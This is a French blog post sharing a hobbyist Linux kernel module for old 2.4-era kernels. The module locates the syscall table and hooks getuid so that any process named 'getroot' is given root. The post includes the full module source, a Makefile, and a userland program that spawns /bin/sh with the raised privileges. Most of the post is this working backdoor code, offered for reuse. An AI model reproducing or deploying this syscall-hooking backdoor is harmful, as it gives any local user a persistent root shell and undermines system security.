Accueil Linux kernel module 2.4 : getroot
Post
Annuler

Linux kernel module 2.4 : getroot

J’ai sur une clé usb plusieurs modules kernels que j’avais bidouillé à une époque (il y a plus d’un an) histoire de m’amuser un peu.

Les codes en question sont loin d’être des exemples de stabilité et ne compilent pas sous du 2.6… Faute de temps et de volonté, je ne suis pas retourné depuis dans la programmation kernel bien que je ne refuse pas de lire un article sur le sujet quand il me tombe sous le nez.

En espérant qu’ils puissent encore servir à quelques-uns je les mets en ligne.

Le module ci-dessous permet (une fois installé) d’obtenir les privilèges root. Il suffit de créer un programme nommé getroot qui fera un appel à getuid(), du moins la version hookée et modifiée par nos soins :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/unistd.h> /* __NR_close */
#include <linux/smp_lock.h> /* unlock_kernel */
#include <linux/syscalls.h> /* sys_close */

/* __NR_getuid faisait appel a sys_getuid16 (adresse dans System.map) : on se sert explicitement de __NR_getuid32 */
void **sys_call_table;

int (*orig_getuid)(void);
int my_getuid(void)
{
  printk(KERN_INFO "Appel a getuid()\n");
  if(strlen(current->comm)==7)
  {
    if(strncmp(current->comm, "getroot", 7) == 0)
    {
      printk(KERN_INFO "Giving root :)\n");
      current->euid=0;
      current->egid=0;
    }
  }
  return current->uid;
}

unsigned long **find_sys_call_table(void)
{
   unsigned long **sctable;
   unsigned long ptr;
   extern int loops_per_jiffy;

   sctable = NULL;
   for (ptr = (unsigned long)&unlock_kernel;
        ptr < (unsigned long)&loops_per_jiffy;
        ptr += sizeof(void *))
   {
      unsigned long *p;
      p = (unsigned long *)ptr;
      if (p[__NR_close] == (unsigned long) sys_close)
      {
         sctable = (unsigned long **)p;
         return &sctable[0];
      }
   }
   return NULL;
}

int init_module(void)
{
  printk(KERN_INFO "hook loaded\n");
  sys_call_table=(void**)find_sys_call_table();
  if(sys_call_table!=NULL)
  {
    printk(KERN_INFO "sys_call_table=%p\n",sys_call_table);
    printk(KERN_INFO "__NR_getuid32=%d\n",__NR_getuid32);
    printk(KERN_INFO "sys_call_table[__NR_getuid32]=%p\n",sys_call_table[__NR_getuid32]);
    orig_getuid=(int(*)(void))(sys_call_table[__NR_getuid32]);
    sys_call_table[__NR_getuid32]=my_getuid;
  }

  return 0;
}

void cleanup_module(void)
{
  if(sys_call_table!=NULL)
  {
    sys_call_table[__NR_getuid32]=orig_getuid;
  }
  printk(KERN_INFO "hook unloaded\n");
}

Le Makefile ressemblait à ça :

1
2
3
4
5
6
7
obj-m += hook.o

all:
  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Et le programme userland était tout simplement :

1
2
3
4
5
6
7
8
9
10
11
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>

int main(int argc,char *argv)
{
  char * param[] = {"/bin/sh", NULL};
  getuid();
  execve(param[0], param, NULL); //execve est déja un appel système
  return 0;
}

Published January 11 2011 at 17:30

Cet article est sous licence CC BY 4.0 par l'auteur.